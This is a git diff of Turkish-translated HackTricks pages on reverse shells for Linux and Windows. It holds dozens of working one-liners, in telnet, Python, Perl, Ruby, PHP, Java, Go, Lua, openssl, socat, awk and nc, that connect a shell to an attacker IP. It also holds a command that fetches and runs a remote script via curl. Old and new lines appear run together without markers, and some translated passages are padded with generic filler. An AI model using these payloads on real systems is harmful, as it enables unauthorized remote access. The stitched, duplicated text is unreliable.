import jwt import jwt
import httpx import httpx
@ -93,7 +95,7 @@ response.raise_for_status()
return response.text return response.text
``` ```
Ve ardından şunu çalıştırabilirsiniz: Ve sonra şunu çalıştırabilirsiniz:
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
@ -105,7 +107,7 @@ Sadece şunları değiştirmeniz gerekir:
* Zafiyetli ana bilgisayarın URL'si * Zafiyetli ana bilgisayarın URL'si
* Yükünüzün öneki ve soneki (varsa) * Yükünüzün öneki ve soneki (varsa)
* Yükün gönderildiği şekil (başlıklar mı? veri mi? ek bilgi mi?) * Yükün gönderildiği şekil (başlıklar mı? veri mi? ekstra bilgi mi?)
Daha sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için **`upgrade` komutunu kullanabilirsiniz** (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğuna ve yazıldığına dikkat edin). Daha sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için **`upgrade` komutunu kullanabilirsiniz** (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğuna ve yazıldığına dikkat edin).
@ -125,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Telnet, ağ protokolüdür ve birçok işletim sistemi tarafından desteklenir. Bir hedefe erişmek için kullanılabilir ve hedefin komut satırına erişim sağlar. Güvenli olmadığı için şifreler ve diğer hassas bilgiler açısından risklidir. Açık bir port üzerinden hedefe bağlanmak için kullanılabilir. Telnet, bir hedefe erişmek için kullanılan temel bir araçtır. Telnet, ağızdaki bir protokol olan TCP/IP üzerinden çalışan bir ağ protokolüdür. Telnet, bir bilgisayara uzaktan erişim sağlamak için kullanılır. Telnet, metin tabanlı bir protokol olduğundan, yalnızca metin tabanlı verileri iletebilir ve şifreleme sağlamaz. Bu nedenle, güvenli olmayan bir protokol olarak kabul edilir. Telnet, varsayılan olarak 23 numaralı bağlantı noktasını kullanır.
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -145,8 +147,6 @@ Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN'
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
## Python ## Python
Python, yüksek seviyeli bir programlama dili ve genel amaçlı bir dil olarak popülerdir. Hacking ve siber güvenlik alanında kullanılan birçok araç ve teknik Python dilinde yazılmıştır. Python, basit ve okunabilir sözdizimi ile bilinir ve geniş kütüphane desteği sunar.
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -156,21 +156,21 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
``` ```
## Perl ## Perl
Perl, birçok Linux dağıtımında varsayılan olarak yüklü gelen bir programlama dilidir. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalıştırılabilir. Perl, sistem yönetimi ve ağ programlaması gibi çeşitli alanlarda kullanılan güçlü bir dil olarak bilinir. Perl, genel amaçlı bir programlama dilidir ve Linux sistemlerinde sıkça kullanılır. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalışabilir. Perl, metin işleme, dosya manipülasyonu ve sistem yönetimi gibi çeşitli görevler için idealdir. Perl betikleri, Linux üzerinde kabuk betikleri gibi çalışabilir ve genellikle sistem yöneticileri tarafından tercih edilir.
```bash ```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## Ruby
Ruby, açık kaynaklı, nesne yönelimli bir programlama dilidir. Ruby, basit ve okunabilir sözdizimi ile dikkat çeker. Ruby programlama dili, Ruby on Rails çerçevesi ile web uygulamaları geliştirmek için sıkça kullanılır. Ruby, açık kaynaklı, nesne yönelimli bir programlama dilidir. Matz (Yukihiro Matsumoto) tarafından geliştirilmiştir. Ruby, basit ve okunabilir sözdizimi ile bilinir. Çeşitli web uygulamaları ve sistem araçları için kullanılır.
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## PHP ## PHP
PHP, kişisel web sitelerinden büyük kurumsal uygulamalara kadar geniş bir yelpazede kullanılan popüler bir betik dildir. PHP, sunucu taraflı betikleme için özellikle uygun olan açık kaynaklı bir dil olarak bilinir. Web uygulamaları geliştirmek için sıklıkla kullanılır ve genellikle MySQL veritabanı ile entegre edilir. PHP, sunucu taraflı bir betik dili olduğundan, PHP kabukları genellikle hedef sunucuda yürütülen komutları çalıştırmak için kullanılır. Bu, saldırganın hedef sunucuda komut yürütmesine olanak tanır. Örneğin, saldırganın hedef sunucuda bir ters kabuk açmasına izin veren bir PHP kabuğu yüklemesi mümkündür.
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -183,16 +183,12 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?> <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
``` ```
## Java ## Java
Java, Oracle Corporation tarafından geliştirilen ve popüler bir programlama dilidir. Java, nesne yönelimli bir dil olup, platform bağımsızdır ve genellikle büyük ölçekli uygulamaların geliştirilmesinde kullanılır. Java, çok sayıda kütüphane ve araç sunar ve geniş bir topluluğa sahiptir.
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() p.waitFor()
``` ```
## Ncat ## Ncat
Ncat, a modern version of the classic Netcat tool, is a powerful networking utility that can read and write data across networks using TCP or UDP. It is a versatile tool for debugging and investigation during penetration testing.
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
@ -201,13 +197,13 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
### Linux ### Linux
Golang, Linux'ta oldukça iyi desteklenir ve birçok farklı shell seçeneği vardır. Golang ile yazılmış bir kabuk, hedef sistemde çalıştırılmak üzere derlenebilir. Bu, hedef sistemde özel işlevler gerçekleştirmek için kullanılabilir. Golang ile yazılmış bir kabuk, hedef sistemde çalıştırılmak üzere derlenebilir. Bu, hedef sistemde özel işlevler gerçekleştirmek için kullanılabilir. Golang is a powerful programming language that is widely used for developing various types of applications. When it comes to Linux, Golang can be used to create powerful shell scripts that can automate tasks, interact with the operating system, and perform various system administration tasks. Golang provides a rich set of libraries and tools that make it easy to work with files, networks, and other system resources on Linux systems. By leveraging Golang's capabilities, hackers can develop sophisticated tools and scripts to exploit vulnerabilities, escalate privileges, and maintain access on Linux systems.
```bash ```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## Lua
Lua, bir betik dili ve hafif bir programlama dili olarak kullanılan bir betik dili ve hafif bir programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme ve uygulama betikleme için kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua, esnek bir dil olup, çeşitli platformlarda çalışabilir. Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme endüstrisinde kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua betikleri, `.lua` uzantılı dosyalarda saklanır ve Lua yürütücüsü aracılığıyla çalıştırılır. Lua, esnek bir dil olup, çeşitli platformlarda kullanılabilir.
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -265,9 +261,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
``` ```
### Kurban Kurban
Kurban, saldırganın hedef aldığı kişiyi veya cihazı temsil eder. Saldırgan, kurban üzerinde çeşitli saldırı teknikleri kullanarak hassas bilgilere erişmeyi hedefler. Kurban genellikle saldırganın hedefine ulaşmak için zayıf bir halka olarak görülür.
```bash ```bash
#Linux #Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -291,9 +285,21 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk ## Awk
## Awk ### Tanım
Awk, Linux'ta sıkça kullanılan bir metin işleme aracıdır. Metin dosyalarını satır satır okuyarak belirli koşullara uyan satırları işleyebilir ve istenilen çıktıyı üretebilir. Awk, genellikle komut satırında kullanılan bir araçtır ve betik dili olarak da kullanılabilir. Awk'ın esnek ve güçlü yapısı, dosya işleme ve veri çıkarma işlemlerinde oldukça faydalı olabilir. Awk, genellikle diğer Linux komutlarıyla birlikte kullanılarak daha karmaşık işlemler gerçekleştirmek için kullanılır. Awk, metin ve veri işleme dili olarak kullanılan bir programlama dilidir. Linux sistemlerinde sıkça kullanılan bir araçtır.
### Kullanım
Awk, metin dosyalarını satır satır okuyarak belirli desenlere göre işlemler yapmak için kullanılır. Özellikle metin dosyalarında veri çıkartma, filtreleme ve raporlama işlemlerinde sıkça tercih edilir.
### Örnek
```bash
awk '/pattern/ {print $1}' file.txt
```
Bu komut, `file.txt` dosyasındaki her satırı okur ve `pattern` desenine sahip olan satırların ilk sütununu ekrana yazdırır.
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
@ -315,7 +321,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
### Gawk ### Gawk
Gawk, GNU awk'ın bir uygulamasıdır. Gawk, metin işleme ve veri çıkarma için kullanılan bir programlama dilidir. Gawk, genellikle metin dosyalarını işlemek ve düzenlemek için kullanılır. Gawk, Linux sistemlerinde sıkça kullanılan bir araçtır. Gawk, GNU Project tarafından geliştirilen bir metin işleme dilidir. Genellikle metin dosyalarını işlemek için kullanılır ve metin tabanlı veri dosyalarını işlemek için oldukça güçlü bir araçtır. Gawk, genellikle komut satırında kullanılan bir araç olup, metin dosyalarını işlemek için düzenli ifadeler ve diğer metin işleme araçları sağlar.
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -340,11 +346,11 @@ close(Service)
``` ```
## Xterm ## Xterm
Bu, sistemize 6001 numaralı porta bağlanmaya çalışacaktır: Bu, sisteminize 6001 numaralı porta bağlanmaya çalışacaktır:
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
Ters kabuk yakalamak için kullanabilirsiniz (port 6001'de dinleyecek): Ters kabuk yakalamak için kullanabileceğiniz (6001 numaralı bağlantı noktasında dinleyecek):
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
@ -369,7 +375,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -379,10 +385,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,7 +25,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Lolbas ## Lolbas
[lolbas-project.github.io](https://lolbas-project.github.io/) sayfası, Windows için [https://gtfobins.github.io/](https://gtfobins.github.io/) gibi bir şeydir.\ [lolbas-project.github.io](https://lolbas-project.github.io/) sayfası, Windows için [https://gtfobins.github.io/](https://gtfobins.github.io/) gibi bir şeydir.\
ıkçası, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **dizinlerin** nasıl kullanılabileceğini bilmek **yönlendirilmiş** bazı **işlemler** gerçekleştirmek için **keyifli olabilir.** ıkçası, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **dizinlerin** nasıl kullanılabileceğini bilmek **yönlendirilmiş kodları yürütmek gibi** beklenmeyen bazı eylemleri gerçekleştirmek için **nasıl** (kötüye) **kullanılabilir** olduğunu bilmek faydalıdır.
## NC ## NC
```bash ```bash
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
``` ```
## SBD ## SBD
**[sbd](https://www.kali.org/tools/sbd/) taşınabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlanma gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımındaki sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanılabilir. **[sbd](https://www.kali.org/tools/sbd/) taşınabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlantı gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımından sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanılabilir.
```bash ```bash
# Victims machine # Victims machine
sbd -l -p 4444 -e bash -v -n sbd -l -p 4444 -e bash -v -n
@ -46,33 +46,34 @@ id
uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
``` ```
## Python ## Python
Python, birçok Windows kabuğu oluşturma aracı için popüler bir dil olarak kullanılır. Python'un Windows üzerinde çalıştırılabilmesi, çeşitli kabuk oluşturma araçlarının geliştirilmesini kolaylaştırır. Python, Windows API'lerine erişmek için kullanılabilir ve Windows üzerinde işlemler gerçekleştirmek için geniş bir kütüphane desteği sunar. Bu nedenle, Python sıklıkla Windows kabuk oluşturma araçlarında tercih edilen bir dil olarak karşımıza çıkar.
```bash ```bash
#Windows #Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
``` ```
## Perl ## Perl
Perl, Windows için oldukça popüler bir betikleme dilidir. Perl betikleri, Windows üzerinde hızlı ve etkili bir şekilde çalışabilir. Perl betikleri genellikle dosya işleme, metin işleme ve sistem yönetimi gibi görevler için kullanılır. Perl betikleri, Windows üzerindeki birçok sistem çağrısını doğrudan destekler ve bu da Perl'in Windows üzerinde güçlü bir dil olmasını sağlar. Perl betikleri genellikle `.pl` uzantılı dosyalarda saklanır ve çalıştırılır. Windows'ta Perl betiklerini çalıştırmak için, öncelikle Perl yorumlayıcısını Windows makinenize yüklemeniz gerekir. Perl, Windows için oldukça popüler bir betikleme dilidir. Windows üzerinde Perl betiklerini çalıştırmak için ActivePerl veya Strawberry Perl gibi Perl dağıtımlarını kullanabilirsiniz. Perl betiklerini Windows üzerinde çalıştırmak için aşağıdaki adımları izleyebilirsiniz:
1. Bir metin düzenleyici kullanarak Perl betiğinizi oluşturun veya düzenleyin (Örneğin: `script.pl`).
2. Komut istemini açın ve Perl betiğini çalıştırmak için aşağıdaki komutu kullanın: `perl script.pl`.
Bu adımları takip ederek Windows üzerinde Perl betiklerini başarıyla çalıştırabilirsiniz.
```bash ```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## Ruby
